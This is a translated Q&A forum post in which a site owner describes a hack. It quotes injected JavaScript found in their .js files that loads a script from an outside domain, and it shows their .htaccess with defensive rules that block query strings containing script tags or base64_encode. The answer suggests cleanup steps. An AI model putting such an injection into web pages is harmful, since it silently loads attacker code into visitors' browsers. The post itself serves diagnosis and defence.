通过.htaccess攻击网站

时间:2014-03-20 15:37:37

标签: apache .htaccess

昨天有人袭击了我的网站。 我使用自己的CMS,我怀疑他们可以访问.Htaccess 我想知道我的.Htaccess是否受到保护。

实际上我的js文件受到此代码的影响:

/*df1e0b*/
  /**/

   document.write("<script type='text/javascript' src='http://audiorealestudio.com    /fotosdiegoalejandro/VfTzdPj4.php'></"+ "script>");

 /*/df1e0b*/

另外我在root rbKcy8Vj.php上找到一个php文件

这是我的htaccess

# protect .htaccess
<Files ~ "^.*\.([Hh][Tt][Aa])">
 order allow,deny
 deny from all
 satisfy all
</Files>

# directory browsing
Options All -Indexes

<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
 Order Allow,Deny
 Deny from all
</FilesMatch>

<Files ~ ".(xml|css|jpe?g|png|gif|js)$">
 Allow from all
</Files>

<Files config.php>
 Order deny,allow
 Deny from all
</Files>

# protect from sql injection
 Options +FollowSymLinks
 RewriteEngine On
 RewriteBase /
 RewriteCond %{HTTP_HOST} !^www\. 
 RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]

 RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
 RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
 RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
 RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
 RewriteCond %{REQUEST_URI} ^(.*)_vti(.*)$ [OR]
 RewriteRule ^(.*)$ index.php [F,L]

 RewriteRule ^contact/?$ contact.php [L]

 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d

 RewriteRule ^test/([0-9a-zA-Z-_]+)/?$ test.php?cat=$1 [QSA,L]

1 个答案:

答案 0 :(得分:0)

实际上你的.htaccess似乎没有得到保护。我之前几乎完全相同,即使我将其权限设置为444,我的.htaccess也会在攻击期间多次受到攻击。

奖金:如何解决这个问题?

好吧我之前在Joomla CMS中遇到过这个问题,这通常发生在你没有更新和0天漏洞或由于插件坏的时候。根据您上面的javascript代码,它看起来像是一个XSS漏洞。

现在发生的事情是PHP shell已经通过执行的脚本代码上传到您的服务器,您需要先更新您的cms,以便不再发生此漏洞利用。清理所有受影响的文件(删除您最终看到的奇怪代码)可能有多个文件,最好的方法是查看修改日期。还要查看您的文件夹中的可疑文件,您可以使用修改/创建的日期找到它们,日期可能很奇怪,就像在我的情况下它设置为1970年所以我无法轻易找到它。

删除了可疑的js代码,奇怪的php脚本并更新了你的cms,然后确保你的.htaccess是干净的,并且它的权限被设置为444.那就是,攻击不会再发生(除非你没有更新你的cms )